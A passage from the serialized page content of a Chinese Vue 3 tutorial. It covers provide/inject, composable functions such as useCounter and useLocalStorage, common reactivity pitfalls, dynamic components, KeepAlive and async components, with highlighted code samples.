-->\n\u003Cscript setup>\nimport { inject } from 'vue'\nconst theme = inject('theme')\nconst toggle = inject('toggleTheme')\nconst lang = inject('lang', 'zh')       \u002F\u002F 第二个参数：没找到时的默认值\nconst conf = inject('conf', () => ({}), { treatAsDefault: true })  \u002F\u002F 工厂默认值\n\u003C\u002Fscript>\n",[22,11530,11531,11536,11546,11557,11575,11614,11618,11637,11652,11672,11680,11684,11689,11699,11710,11727,11743,11769,11800],{"__ignoreMap":132},[136,11532,11533],{"class":138,"line":139},[136,11534,11535],{"class":456},"\u003C!-- 祖先组件 ThemePanel.vue -->\n",[136,11537,11538,11540,11542,11544],{"class":138,"line":169},[136,11539,143],{"class":142},[136,11541,181],{"class":146},[136,11543,318],{"class":150},[136,11545,166],{"class":142},[136,11547,11548,11550,11553,11555],{"class":138,"line":176},[136,11549,325],{"class":232},[136,11551,11552],{"class":142}," { provide, ref, readonly, computed } ",[136,11554,331],{"class":232},[136,11556,334],{"class":157},[136,11558,11559,11561,11564,11566,11568,11570,11573],{"class":138,"line":199},[136,11560,339],{"class":232},[136,11562,11563],{"class":236}," theme",[136,11565,240],{"class":232},[136,11567,346],{"class":150},[136,11569,249],{"class":142},[136,11571,11572],{"class":157},"'light'",[136,11574,255],{"class":142},[136,11576,11577,11579,11582,11584,11587,11589,11592,11594,11597,11599,11602,11605,11608,11610,11612],{"class":138,"line":208},[136,11578,339],{"class":232},[136,11580,11581],{"class":150}," toggle",[136,11583,240],{"class":232},[136,11585,11586],{"class":142}," () ",[136,11588,593],{"class":232},[136,11590,11591],{"class":142}," { theme.value ",[136,11593,154],{"class":232},[136,11595,11596],{"class":142}," theme.value ",[136,11598,6559],{"class":232},[136,11600,11601],{"class":157}," 'light'",[136,11603,11604],{"class":232}," ?",[136,11606,11607],{"class":157}," 'dark'",[136,11609,1280],{"class":232},[136,11611,11601],{"class":157},[136,11613,4346],{"class":142},[136,11615,11616],{"class":138,"line":220},[136,11617,173],{"emptyLinePlaceholder":172},[136,11619,11620,11622,11624,11627,11629,11631,11634],{"class":138,"line":229},[136,11621,8987],{"class":150},[136,11623,249],{"class":142},[136,11625,11626],{"class":157},"'theme'",[136,11628,4139],{"class":142},[136,11630,8813],{"class":150},[136,11632,11633],{"class":142},"(theme))       ",[136,11635,11636],{"class":456},"\u002F\u002F 只读的值\n",[136,11638,11639,11641,11643,11646,11649],{"class":138,"line":258},[136,11640,8987],{"class":150},[136,11642,249],{"class":142},[136,11644,11645],{"class":157},"'toggleTheme'",[136,11647,11648],{"class":142},", toggle)          ",[136,11650,11651],{"class":456},"\u002F\u002F 改的动作交给后代\n",[136,11653,11654,11656,11658,11661,11663,11665,11667,11669],{"class":138,"line":267},[136,11655,8987],{"class":150},[136,11657,249],{"class":142},[136,11659,11660],{"class":157},"'user'",[136,11662,4139],{"class":142},[136,11664,428],{"class":150},[136,11666,590],{"class":142},[136,11668,593],{"class":232},[136,11670,11671],{"class":142}," store.user))\n",[136,11673,11674,11676,11678],{"class":138,"line":273},[136,11675,292],{"class":142},[136,11677,181],{"class":146},[136,11679,166],{"class":142},[136,11681,11682],{"class":138,"line":289},[136,11683,173],{"emptyLinePlaceholder":172},[136,11685,11686],{"class":138,"line":605},[136,11687,11688],{"class":456},"\u003C!-- 任意深度的后代 -->\n",[136,11690,11691,11693,11695,11697],{"class":138,"line":2406},[136,11692,143],{"class":142},[136,11694,181],{"class":146},[136,11696,318],{"class":150},[136,11698,166],{"class":142},[136,11700,11701,11703,11706,11708],{"class":138,"line":2415},[136,11702,325],{"class":232},[136,11704,11705],{"class":142}," { inject } ",[136,11707,331],{"class":232},[136,11709,334],{"class":157},[136,11711,11712,11714,11716,11718,11721,11723,11725],{"class":138,"line":4546},[136,11713,339],{"class":232},[136,11715,11563],{"class":236},[136,11717,240],{"class":232},[136,11719,11720],{"class":150}," inject",[136,11722,249],{"class":142},[136,11724,11626],{"class":157},[136,11726,255],{"class":142},[136,11728,11729,11731,11733,11735,11737,11739,11741],{"class":138,"line":4558},[136,11730,339],{"class":232},[136,11732,11581],{"class":236},[136,11734,240],{"class":232},[136,11736,11720],{"class":150},[136,11738,249],{"class":142},[136,11740,11645],{"class":157},[136,11742,255],{"class":142},[136,11744,11745,11747,11750,11752,11754,11756,11759,11761,11764,11766],{"class":138,"line":4563},[136,11746,339],{"class":232},[136,11748,11749],{"class":236}," lang",[136,11751,240],{"class":232},[136,11753,11720],{"class":150},[136,11755,249],{"class":142},[136,11757,11758],{"class":157},"'lang'",[136,11760,4139],{"class":142},[136,11762,11763],{"class":157},"'zh'",[136,11765,3515],{"class":142},[136,11767,11768],{"class":456},"\u002F\u002F 第二个参数：没找到时的默认值\n",[136,11770,11771,11773,11776,11778,11780,11782,11785,11788,11790,11793,11795,11797],{"class":138,"line":4569},[136,11772,339],{"class":232},[136,11774,11775],{"class":236}," conf",[136,11777,240],{"class":232},[136,11779,11720],{"class":150},[136,11781,249],{"class":142},[136,11783,11784],{"class":157},"'conf'",[136,11786,11787],{"class":142},", () ",[136,11789,593],{"class":232},[136,11791,11792],{"class":142}," ({}), { treatAsDefault: ",[136,11794,4532],{"class":236},[136,11796,8627],{"class":142},[136,11798,11799],{"class":456},"\u002F\u002F 工厂默认值\n",[136,11801,11802,11804,11806],{"class":138,"line":4585},[136,11803,292],{"class":142},[136,11805,181],{"class":146},[136,11807,166],{"class":142},[10,11809,11810,11811,11814,11815,11818],{},"要点：",[17,11812,11813],{},"provide 的是 ref\u002Fcomputed 时才有响应性","（示例 13 有对照）；用 symbol 做 key（",[22,11816,11817],{},"const ThemeKey = Symbol()","）能避免和第三方库撞名，也便于 TS 推断；祖先每次 provide 同一个 key 会覆盖上一层。",[10,11820,11821,11822,11825],{},"它适合「主题、语言、当前表单上下文、面板布局」这类",[17,11823,11824],{},"语义上属于环境、但只在局部子树生效","的数据。别把它当全局状态仓库——一旦某个组件被抽走，后代就静默拿到默认值。",[119,11827,11829],{"id":11828},"组合式函数vue-3-的复用单位","组合式函数：Vue 3 的复用单位",[10,11831,11832,11835,11836,11839,11840,849],{},[22,11833,11834],{},"mixin","（Vue 2）的问题是会撞名、来源不明。Vue 3 的答案是",[17,11837,11838],{},"组合式函数","：一个用到了响应式 API 的普通函数，约定命名 ",[22,11841,11842],{},"useXxx",[127,11844,11846],{"className":447,"code":11845,"language":449,"meta":132,"style":132},"\u002F\u002F composables\u002FuseCounter.js\nimport { ref } from 'vue'\n\n\u002F**\n * 一个独立的计数器状态。\n * @param {number} [init=0] 初始值\n * @returns {{ count: import('vue').Ref\u003Cnumber>, inc: () => void, reset: () => void }}\n *\u002F\nexport function useCounter(init = 0) {\n  const count = ref(init)              \u002F\u002F 每次调用都新建，互不干扰\n  return { count, inc: () => count.value++, reset: () => { count.value = init } }\n}\n",[22,11847,11848,11853,11863,11867,11872,11877,11899,11909,11914,11935,11951,11989],{"__ignoreMap":132},[136,11849,11850],{"class":138,"line":139},[136,11851,11852],{"class":456},"\u002F\u002F composables\u002FuseCounter.js\n",[136,11854,11855,11857,11859,11861],{"class":138,"line":169},[136,11856,325],{"class":232},[136,11858,328],{"class":142},[136,11860,331],{"class":232},[136,11862,334],{"class":157},[136,11864,11865],{"class":138,"line":176},[136,11866,173],{"emptyLinePlaceholder":172},[136,11868,11869],{"class":138,"line":199},[136,11870,11871],{"class":456},"\u002F**\n",[136,11873,11874],{"class":138,"line":208},[136,11875,11876],{"class":456}," * 一个独立的计数器状态。\n",[136,11878,11879,11882,11885,11888,11891,11893,11896],{"class":138,"line":220},[136,11880,11881],{"class":456}," * ",[136,11883,11884],{"class":232},"@param",[136,11886,11887],{"class":150}," {number}",[136,11889,11890],{"class":142}," [init",[136,11892,154],{"class":232},[136,11894,11895],{"class":142},"0]",[136,11897,11898],{"class":456}," 初始值\n",[136,11900,11901,11903,11906],{"class":138,"line":229},[136,11902,11881],{"class":456},[136,11904,11905],{"class":232},"@returns",[136,11907,11908],{"class":150}," {{ count: import('vue').Ref\u003Cnumber>, inc: () => void, reset: () => void }}\n",[136,11910,11911],{"class":138,"line":258},[136,11912,11913],{"class":456}," *\u002F\n",[136,11915,11916,11918,11921,11924,11926,11929,11931,11933],{"class":138,"line":267},[136,11917,462],{"class":232},[136,11919,11920],{"class":232}," function",[136,11922,11923],{"class":150}," useCounter",[136,11925,249],{"class":142},[136,11927,11928],{"class":703},"init",[136,11930,240],{"class":232},[136,11932,6562],{"class":236},[136,11934,5247],{"class":142},[136,11936,11937,11939,11941,11943,11945,11948],{"class":138,"line":273},[136,11938,4675],{"class":232},[136,11940,565],{"class":236},[136,11942,240],{"class":232},[136,11944,346],{"class":150},[136,11946,11947],{"class":142},"(init)              ",[136,11949,11950],{"class":456},"\u002F\u002F 每次调用都新建，互不干扰\n",[136,11952,11953,11956,11959,11962,11964,11966,11969,11972,11974,11977,11979,11981,11984,11986],{"class":138,"line":289},[136,11954,11955],{"class":232},"  return",[136,11957,11958],{"class":142}," { count, ",[136,11960,11961],{"class":150},"inc",[136,11963,4281],{"class":142},[136,11965,593],{"class":232},[136,11967,11968],{"class":142}," count.value",[136,11970,11971],{"class":232},"++",[136,11973,4139],{"class":142},[136,11975,11976],{"class":150},"reset",[136,11978,4281],{"class":142},[136,11980,593],{"class":232},[136,11982,11983],{"class":142}," { count.value ",[136,11985,154],{"class":232},[136,11987,11988],{"class":142}," init } }\n",[136,11990,11991],{"class":138,"line":605},[136,11992,538],{"class":142},[127,11994,11996],{"className":447,"code":11995,"language":449,"meta":132,"style":132},"\u002F\u002F composables\u002FuseLocalStorage.js\nimport { ref, watch } from 'vue'\n\n\u002F**\n * 与 localStorage 同步的 ref。\n * @param {string} key 存储键名\n * @param {any} fallback 读不到（或解析失败）时的兜底值\n *\u002F\nexport function useLocalStorage(key, fallback) {\n  let initial = fallback\n  try { initial = JSON.parse(localStorage.getItem(key)) ?? fallback } catch { \u002F* 脏数据兜底 *\u002F }\n  const data = ref(initial)\n  watch(data, (v) => {\n    try { localStorage.setItem(key, JSON.stringify(v)) } catch (e) { console.warn('存储失败', e) }\n  }, { deep: true })\n  return data\n}\n",[22,11997,11998,12003,12013,12017,12021,12026,12041,12056,12060,12080,12093,12134,12148,12164,12203,12212,12219],{"__ignoreMap":132},[136,11999,12000],{"class":138,"line":139},[136,12001,12002],{"class":456},"\u002F\u002F composables\u002FuseLocalStorage.js\n",[136,12004,12005,12007,12009,12011],{"class":138,"line":169},[136,12006,325],{"class":232},[136,12008,8099],{"class":142},[136,12010,331],{"class":232},[136,12012,334],{"class":157},[136,12014,12015],{"class":138,"line":176},[136,12016,173],{"emptyLinePlaceholder":172},[136,12018,12019],{"class":138,"line":199},[136,12020,11871],{"class":456},[136,12022,12023],{"class":138,"line":208},[136,12024,12025],{"class":456}," * 与 localStorage 同步的 ref。\n",[136,12027,12028,12030,12032,12035,12038],{"class":138,"line":220},[136,12029,11881],{"class":456},[136,12031,11884],{"class":232},[136,12033,12034],{"class":150}," {string}",[136,12036,12037],{"class":142}," key",[136,12039,12040],{"class":456}," 存储键名\n",[136,12042,12043,12045,12047,12050,12053],{"class":138,"line":229},[136,12044,11881],{"class":456},[136,12046,11884],{"class":232},[136,12048,12049],{"class":150}," {any}",[136,12051,12052],{"class":142}," fallback",[136,12054,12055],{"class":456}," 读不到（或解析失败）时的兜底值\n",[136,12057,12058],{"class":138,"line":258},[136,12059,11913],{"class":456},[136,12061,12062,12064,12066,12069,12071,12073,12075,12078],{"class":138,"line":267},[136,12063,462],{"class":232},[136,12065,11920],{"class":232},[136,12067,12068],{"class":150}," useLocalStorage",[136,12070,249],{"class":142},[136,12072,7727],{"class":703},[136,12074,4139],{"class":142},[136,12076,12077],{"class":703},"fallback",[136,12079,5247],{"class":142},[136,12081,12082,12085,12088,12090],{"class":138,"line":273},[136,12083,12084],{"class":232},"  let",[136,12086,12087],{"class":142}," initial ",[136,12089,154],{"class":232},[136,12091,12092],{"class":142}," fallback\n",[136,12094,12095,12098,12101,12103,12105,12107,12109,12112,12115,12118,12121,12124,12127,12129,12132],{"class":138,"line":289},[136,12096,12097],{"class":232},"  try",[136,12099,12100],{"class":142}," { initial ",[136,12102,154],{"class":232},[136,12104,3591],{"class":236},[136,12106,3594],{"class":142},[136,12108,3597],{"class":150},[136,12110,12111],{"class":142},"(localStorage.",[136,12113,12114],{"class":150},"getItem",[136,12116,12117],{"class":142},"(key)) ",[136,12119,12120],{"class":232},"??",[136,12122,12123],{"class":142}," fallback } ",[136,12125,12126],{"class":232},"catch",[136,12128,2523],{"class":142},[136,12130,12131],{"class":456},"\u002F* 脏数据兜底 *\u002F",[136,12133,4346],{"class":142},[136,12135,12136,12138,12141,12143,12145],{"class":138,"line":605},[136,12137,4675],{"class":232},[136,12139,12140],{"class":236}," data",[136,12142,240],{"class":232},[136,12144,346],{"class":150},[136,12146,12147],{"class":142},"(initial)\n",[136,12149,12150,12153,12156,12158,12160,12162],{"class":138,"line":2406},[136,12151,12152],{"class":150},"  watch",[136,12154,12155],{"class":142},"(data, (",[136,12157,4316],{"class":703},[136,12159,707],{"class":142},[136,12161,593],{"class":232},[136,12163,468],{"class":142},[136,12165,12166,12169,12172,12175,12178,12180,12182,12184,12187,12189,12192,12195,12197,12200],{"class":138,"line":2415},[136,12167,12168],{"class":232},"    try",[136,12170,12171],{"class":142}," { localStorage.",[136,12173,12174],{"class":150},"setItem",[136,12176,12177],{"class":142},"(key, ",[136,12179,1532],{"class":236},[136,12181,3594],{"class":142},[136,12183,3606],{"class":150},[136,12185,12186],{"class":142},"(v)) } ",[136,12188,12126],{"class":232},[136,12190,12191],{"class":142}," (e) { console.",[136,12193,12194],{"class":150},"warn",[136,12196,249],{"class":142},[136,12198,12199],{"class":157},"'存储失败'",[136,12201,12202],{"class":142},", e) }\n",[136,12204,12205,12208,12210],{"class":138,"line":4546},[136,12206,12207],{"class":142},"  }, { deep: ",[136,12209,4532],{"class":236},[136,12211,4437],{"class":142},[136,12213,12214,12216],{"class":138,"line":4558},[136,12215,11955],{"class":232},[136,12217,12218],{"class":142}," data\n",[136,12220,12221],{"class":138,"line":4563},[136,12222,538],{"class":142},[10,12224,12225],{},"在组件里用：",[127,12227,12229],{"className":305,"code":12228,"language":307,"meta":132,"style":132},"\u003Cscript setup>\nimport { useCounter, useLocalStorage } from '@\u002Fcomposables'\nconst { count, inc } = useCounter(0)\nconst note = useLocalStorage('todo-note', '')\n\u003C\u002Fscript>\n",[22,12230,12231,12241,12253,12278,12300],{"__ignoreMap":132},[136,12232,12233,12235,12237,12239],{"class":138,"line":139},[136,12234,143],{"class":142},[136,12236,181],{"class":146},[136,12238,318],{"class":150},[136,12240,166],{"class":142},[136,12242,12243,12245,12248,12250],{"class":138,"line":169},[136,12244,325],{"class":232},[136,12246,12247],{"class":142}," { useCounter, useLocalStorage } ",[136,12249,331],{"class":232},[136,12251,12252],{"class":157}," '@\u002Fcomposables'\n",[136,12254,12255,12257,12259,12261,12263,12265,12268,12270,12272,12274,12276],{"class":138,"line":176},[136,12256,339],{"class":232},[136,12258,2523],{"class":142},[136,12260,8554],{"class":236},[136,12262,4139],{"class":142},[136,12264,11961],{"class":236},[136,12266,12267],{"class":142}," } ",[136,12269,154],{"class":232},[136,12271,11923],{"class":150},[136,12273,249],{"class":142},[136,12275,485],{"class":236},[136,12277,255],{"class":142},[136,12279,12280,12282,12285,12287,12289,12291,12294,12296,12298],{"class":138,"line":199},[136,12281,339],{"class":232},[136,12283,12284],{"class":236}," note",[136,12286,240],{"class":232},[136,12288,12068],{"class":150},[136,12290,249],{"class":142},[136,12292,12293],{"class":157},"'todo-note'",[136,12295,4139],{"class":142},[136,12297,1738],{"class":157},[136,12299,255],{"class":142},[136,12301,12302,12304,12306],{"class":138,"line":208},[136,12303,292],{"class":142},[136,12305,181],{"class":146},[136,12307,166],{"class":142},[10,12309,12310],{},"写组合式函数的四条约定：",[3244,12312,12313,12324,12330,12343],{},[1380,12314,12315,12316,12319,12320,12323],{},"名字以 ",[22,12317,12318],{},"use"," 开头，放 ",[22,12321,12322],{},"composables\u002F"," 目录（Nuxt 里连 import 都不用写）。",[1380,12325,12326,12329],{},[17,12327,12328],{},"返回值用 ref\u002Fcomputed 而不是普通值","，否则解构就丢响应性。",[1380,12331,12332,12342],{},[17,12333,12334,12335,422,12338,12341],{},"入参接受 ref 时用 ",[22,12336,12337],{},"toValue()",[22,12339,12340],{},"unref()"," 读","，让调用方能传常量也能传响应式值。",[1380,12344,12345,12346,1442,12348,1442,12350,1442,12352,12354,12355,849],{},"内部注册的 ",[22,12347,3720],{},[22,12349,608],{},[22,12351,8987],{},[22,12353,8990],{}," 会自动挂到调用它的组件上——前提是",[17,12356,12357],{},"在 setup 的同步执行期调用",[801,12359],{"height":10486,"src":12360,"title":12361},"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F13-provide-composable.html","示例 13：跨层级 provide\u002Finject 与 useCounter \u002F useLocalStorage 复用",[119,12363,816],{"id":12364},"️-本章的坑-12",[10,12366,12367,822,12370,12373,12374,12377,12378,849],{},[17,12368,12369],{},"1. provide 的是原始值就断了响应。",[22,12371,12372],{},"provide('count', count.value)"," 传出去的是当时的快照，之后祖先怎么改后代都不动。",[17,12375,12376],{},"provide 一个 ref（或 computed）","，后代读 ",[22,12379,3256],{},[10,12381,12382,822,12389,12392,12393,12396],{},[17,12383,12384,12385,422,12387,849],{},"2. 在异步回调里 ",[22,12386,8990],{},[22,12388,8987],{},[22,12390,12391],{},"setTimeout(() => inject('theme'))"," 拿不到（脱离组件实例，Vue 会警告 ",[22,12394,12395],{},"inject() can only be used inside setup()","）。要注入就在 setup 顶层取好再用。",[10,12398,12399,822,12404,12407,12408,12411,12412,12415],{},[17,12400,12401,12402,849],{},"3. 组合式函数返回普通对象包着 ",[22,12403,3256],{},[22,12405,12406],{},"return { count: count.value }"," 断掉响应性；返回值请给 ref 本身，解构 ",[22,12409,12410],{},"const { count } = useCounter()"," 之后必须写 ",[22,12413,12414],{},"count.value","（模板里才自动解包）。",[10,12417,12418,12421,12422,12425,12426,12429],{},[17,12419,12420],{},"4. 顶层模块变量当成「每个组件一份」。"," 把 ",[22,12423,12424],{},"const state = ref(0)"," 写在函数",[17,12427,12428],{},"外面","（模块作用域），它就变成真正的全局单例——有时是故意的（全局配置），多数时候是 bug。",[10,12431,12432,12435,12436,12439,12440,12443],{},[17,12433,12434],{},"5. provide 的 key 拼错不会报错，只会拿到默认值。"," 用 ",[22,12437,12438],{},"Symbol()"," + 单独文件导出 key，或者 TypeScript 的 ",[22,12441,12442],{},"InjectionKey\u003CT>","，把这类错误交给编译器。",[10,12445,12446,12449],{},[17,12447,12448],{},"6. 后代直接改注入进来的状态会连累所有共享者。"," 这是设计（同一份数据），不是 bug。规范做法：provide 只读数据 + provide 一个改的动作，后代只调函数。",[10,12451,12452,822,12455,2731,12458,12461,12462,870,12465,12468],{},[17,12453,12454],{},"7. 忘记清理的组合式函数是隐形泄漏源。",[22,12456,12457],{},"useMouse()",[22,12459,12460],{},"addEventListener('mousemove')"," 必须有 ",[22,12463,12464],{},"onUnmounted(() => removeEventListener(...))",[22,12466,12467],{},"useIntervalFn"," 之类要在卸载时停。",[119,12470,12472],{"id":12471},"附状态传递方式选择表","附：状态传递方式选择表",[53,12474,12475,12483],{},[56,12476,12477],{},[59,12478,12479,12481],{},[62,12480,4907],{},[62,12482,4910],{},[72,12484,12485,12494,12503,12514,12525,12533,12543,12551],{},[59,12486,12487,12490],{},[77,12488,12489],{},"父 → 子一层",[77,12491,12492],{},[22,12493,3685],{},[59,12495,12496,12499],{},[77,12497,12498],{},"子 → 父一层",[77,12500,12501],{},[22,12502,4753],{},[59,12504,12505,12508],{},[77,12506,12507],{},"表单值父子同步",[77,12509,12510,422,12512],{},[22,12511,2881],{},[22,12513,6195],{},[59,12515,12516,12519],{},[77,12517,12518],{},"跨 2 层以上的环境数据（主题、语言、面板）",[77,12520,12521,422,12523],{},[22,12522,8987],{},[22,12524,8990],{},[59,12526,12527,12530],{},[77,12528,12529],{},"全局共享、跨路由、需要 devtools",[77,12531,12532],{},"Pinia（第十五章）",[59,12534,12535,12538],{},[77,12536,12537],{},"复用「逻辑 + 状态」，作用域仍在单组件内",[77,12539,12540,12541],{},"组合式函数 ",[22,12542,11842],{},[59,12544,12545,12548],{},[77,12546,12547],{},"复用「DOM 行为」",[77,12549,12550],{},"自定义指令",[59,12552,12553,12555],{},[77,12554,9009],{},[77,12556,12557,12558,12560],{},"模板 ref + ",[22,12559,9017],{},"（最后手段）",[35,12562,12564],{"id":12563},"十四动态组件keepalive-与异步组件","十四、动态组件、KeepAlive 与异步组件",[10,12566,12567],{},"标签名不固定（tab 面板、渲染器、表单字段类型由数据决定），或者「切走再回来不想丢掉输入」，都属于这一章。",[119,12569,12571,12572],{"id":12570},"动态组件component-is","动态组件：",[22,12573,12574],{},"\u003Ccomponent :is>",[127,12576,12578],{"className":305,"code":12577,"language":307,"meta":132,"style":132},"\u003Cscript setup>\nimport { shallowRef, ref } from 'vue'\nimport FieldText from '.\u002FFieldText.vue'\nimport FieldSelect from '.\u002FFieldSelect.vue'\n\n\u002F\u002F 方式一：字符串组件名（要求已注册）\nconst name = ref('field-text')\n\n\u002F\u002F 方式二：组件对象——用 shallowRef，别让 Vue 深度代理一个组件定义\nconst field = shallowRef(FieldText)\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Ccomponent :is=\"name\" :model-value=\"text\" @update:model-value=\"text = $event\" \u002F>\n  \u003Ccomponent :is=\"field\" \u002F>\n\u003C\u002Ftemplate>\n",[22,12579,12580,12590,12601,12613,12625,12629,12634,12651,12655,12660,12674,12682,12686,12694,12721,12736],{"__ignoreMap":132},[136,12581,12582,12584,12586,12588],{"class":138,"line":139},[136,12583,143],{"class":142},[136,12585,181],{"class":146},[136,12587,318],{"class":150},[136,12589,166],{"class":142},[136,12591,12592,12594,12597,12599],{"class":138,"line":169},[136,12593,325],{"class":232},[136,12595,12596],{"class":142}," { shallowRef, ref } ",[136,12598,331],{"class":232},[136,12600,334],{"class":157},[136,12602,12603,12605,12608,12610],{"class":138,"line":176},[136,12604,325],{"class":232},[136,12606,12607],{"class":142}," FieldText ",[136,12609,331],{"class":232},[136,12611,12612],{"class":157}," '.\u002FFieldText.vue'\n",[136,12614,12615,12617,12620,12622],{"class":138,"line":199},[136,12616,325],{"class":232},[136,12618,12619],{"class":142}," FieldSelect ",[136,12621,331],{"class":232},[136,12623,12624],{"class":157}," '.\u002FFieldSelect.vue'\n",[136,12626,12627],{"class":138,"line":208},[136,12628,173],{"emptyLinePlaceholder":172},[136,12630,12631],{"class":138,"line":220},[136,12632,12633],{"class":456},"\u002F\u002F 方式一：字符串组件名（要求已注册）\n",[136,12635,12636,12638,12640,12642,12644,12646,12649],{"class":138,"line":229},[136,12637,339],{"class":232},[136,12639,9089],{"class":236},[136,12641,240],{"class":232},[136,12643,346],{"class":150},[136,12645,249],{"class":142},[136,12647,12648],{"class":157},"'field-text'",[136,12650,255],{"class":142},[136,12652,12653],{"class":138,"line":258},[136,12654,173],{"emptyLinePlaceholder":172},[136,12656,12657],{"class":138,"line":267},[136,12658,12659],{"class":456},"\u002F\u002F 方式二：组件对象——用 shallowRef，别让 Vue 深度代理一个组件定义\n",[136,12661,12662,12664,12667,12669,12671],{"class":138,"line":273},[136,12663,339],{"class":232},[136,12665,12666],{"class":236}," field",[136,12668,240],{"class":232},[136,12670,3508],{"class":150},[136,12672,12673],{"class":142},"(FieldText)\n",[136,12675,12676,12678,12680],{"class":138,"line":289},[136,12677,292],{"class":142},[136,12679,181],{"class":146},[136,12681,166],{"class":142},[136,12683,12684],{"class":138,"line":605},[136,12685,173],{"emptyLinePlaceholder":172},[136,12687,12688,12690,12692],{"class":138,"line":2406},[136,12689,143],{"class":142},[136,12691,371],{"class":146},[136,12693,166],{"class":142},[136,12695,12696,12698,12700,12703,12705,12707,12709,12711,12713,12715,12717,12719],{"class":138,"line":2415},[136,12697,378],{"class":142},[136,12699,669],{"class":146},[136,12701,12702],{"class":150}," :is",[136,12704,154],{"class":142},[136,12706,5644],{"class":157},[136,12708,8715],{"class":150},[136,12710,154],{"class":142},[136,12712,5683],{"class":157},[136,12714,8722],{"class":150},[136,12716,154],{"class":142},[136,12718,8727],{"class":157},[136,12720,8371],{"class":142},[136,12722,12723,12725,12727,12729,12731,12734],{"class":138,"line":4546},[136,12724,378],{"class":142},[136,12726,669],{"class":146},[136,12728,12702],{"class":150},[136,12730,154],{"class":142},[136,12732,12733],{"class":157},"\"field\"",[136,12735,8371],{"class":142},[136,12737,12738,12740,12742],{"class":138,"line":4558},[136,12739,292],{"class":142},[136,12741,371],{"class":146},[136,12743,166],{"class":142},[10,12745,12746,12747,12750,12751,12756],{},"用组件对象时 ",[22,12748,12749],{},"ref(FieldText)"," 会触发「组件被 reactive 代理」的警告并带来无谓开销，",[17,12752,12753,12755],{},[22,12754,3479],{}," 才是正解","（示例 14 有对照）。",[119,12758,12760],{"id":12759},"keepalive缓存切换出去的组件","KeepAlive：缓存切换出去的组件",[127,12762,12764],{"className":129,"code":12763,"language":131,"meta":132,"style":132},"\u003CKeepAlive include=\"tab-a,tab-b\" :max=\"10\">\n  \u003Ccomponent :is=\"current\" \u002F>\n\u003C\u002FKeepAlive>\n",[22,12765,12766,12790,12805],{"__ignoreMap":132},[136,12767,12768,12770,12772,12775,12777,12780,12783,12785,12788],{"class":138,"line":139},[136,12769,143],{"class":142},[136,12771,11289],{"class":7196},[136,12773,12774],{"class":150}," include",[136,12776,154],{"class":142},[136,12778,12779],{"class":157},"\"tab-a,tab-b\"",[136,12781,12782],{"class":150}," :max",[136,12784,154],{"class":142},[136,12786,12787],{"class":157},"\"10\"",[136,12789,166],{"class":142},[136,12791,12792,12794,12796,12798,12800,12803],{"class":138,"line":169},[136,12793,378],{"class":142},[136,12795,669],{"class":7196},[136,12797,12702],{"class":150},[136,12799,154],{"class":142},[136,12801,12802],{"class":157},"\"current\"",[136,12804,8371],{"class":142},[136,12806,12807,12809,12811],{"class":138,"line":176},[136,12808,292],{"class":142},[136,12810,11289],{"class":7196},[136,12812,166],{"class":142},[10,12814,12815,12816,12818,12819,12822,12823,422,12825,1072,12827,1403,12830,12832],{},"包上 ",[22,12817,11289],{}," 后，切走的组件",[17,12820,12821],{},"不卸载","，状态（输入框内容、滚动位置、内部数据）保留；回来的时候不重新请求。配套钩子：",[22,12824,11503],{},[22,12826,11296],{},[17,12828,12829],{},"这才是缓存组件里该写「每次进入时刷新数据」的地方",[22,12831,608],{}," 只会执行一次）。",[53,12834,12835,12843],{},[56,12836,12837],{},[59,12838,12839,12841],{},[62,12840,3685],{},[62,12842,2769],{},[72,12844,12845,12858,12868],{},[59,12846,12847,12852],{},[77,12848,12849],{},[22,12850,12851],{},"include",[77,12853,12854,12855,12857],{},"只缓存名字匹配的组件（按 ",[22,12856,2711],{}," 匹配）",[59,12859,12860,12865],{},[77,12861,12862],{},[22,12863,12864],{},"exclude",[77,12866,12867],{},"除这些名字外都缓存",[59,12869,12870,12875],{},[77,12871,12872],{},[22,12873,12874],{},"max",[77,12876,12877],{},"最多缓存几个，超出按 LRU 淘汰",[10,12879,12880,12882,12883,12886,12887,849],{},[22,12881,439],{}," 的组件名默认由",[17,12884,12885],{},"文件名","推断，跨目录或动态创建时不稳定——需要精确匹配就用 ",[22,12888,12889],{},"defineOptions({ name: 'TabA' })",[119,12891,12893,12894],{"id":12892},"异步组件与-suspense","异步组件与 ",[22,12895,12896],{},"Suspense",[127,12898,12900],{"className":447,"code":12899,"language":449,"meta":132,"style":132},"const HeavyChart = defineAsyncComponent({\n  loader: () => import('.\u002FHeavyChart.vue'),\n  loadingComponent: LoadingBox,   \u002F\u002F 加载期间显示\n  errorComponent: ErrorBox,       \u002F\u002F 失败时显示\n  delay: 200,                     \u002F\u002F 200ms 内完成就不闪 loading\n  timeout: 10000                  \u002F\u002F 超时走 errorComponent\n})\n",[22,12901,12902,12916,12936,12944,12952,12966,12977],{"__ignoreMap":132},[136,12903,12904,12906,12909,12911,12914],{"class":138,"line":139},[136,12905,339],{"class":232},[136,12907,12908],{"class":236}," HeavyChart",[136,12910,240],{"class":232},[136,12912,12913],{"class":150}," defineAsyncComponent",[136,12915,217],{"class":142},[136,12917,12918,12921,12923,12925,12928,12930,12933],{"class":138,"line":169},[136,12919,12920],{"class":150},"  loader",[136,12922,4281],{"class":142},[136,12924,593],{"class":232},[136,12926,12927],{"class":232}," import",[136,12929,249],{"class":142},[136,12931,12932],{"class":157},"'.\u002FHeavyChart.vue'",[136,12934,12935],{"class":142},"),\n",[136,12937,12938,12941],{"class":138,"line":176},[136,12939,12940],{"class":142},"  loadingComponent: LoadingBox,   ",[136,12942,12943],{"class":456},"\u002F\u002F 加载期间显示\n",[136,12945,12946,12949],{"class":138,"line":199},[136,12947,12948],{"class":142},"  errorComponent: ErrorBox,       ",[136,12950,12951],{"class":456},"\u002F\u002F 失败时显示\n",[136,12953,12954,12957,12960,12963],{"class":138,"line":208},[136,12955,12956],{"class":142},"  delay: ",[136,12958,12959],{"class":236},"200",[136,12961,12962],{"class":142},",                     ",[136,12964,12965],{"class":456},"\u002F\u002F 200ms 内完成就不闪 loading\n",[136,12967,12968,12971,12974],{"class":138,"line":220},[136,12969,12970],{"class":142},"  timeout: ",[136,12972,12973],{"class":236},"10000",[136,12975,12976],{"class":456},"                  \u002F\u002F 超时走 errorComponent\n",[136,12978,12979],{"class":138,"line":229},[136,12980,2502],{"class":142},[10,12982,12983,12984,1543,12987,12990,12991,12994],{},"路由级懒加载用的就是同一套机制（第十六章：",[22,12985,12986],{},"component: () => 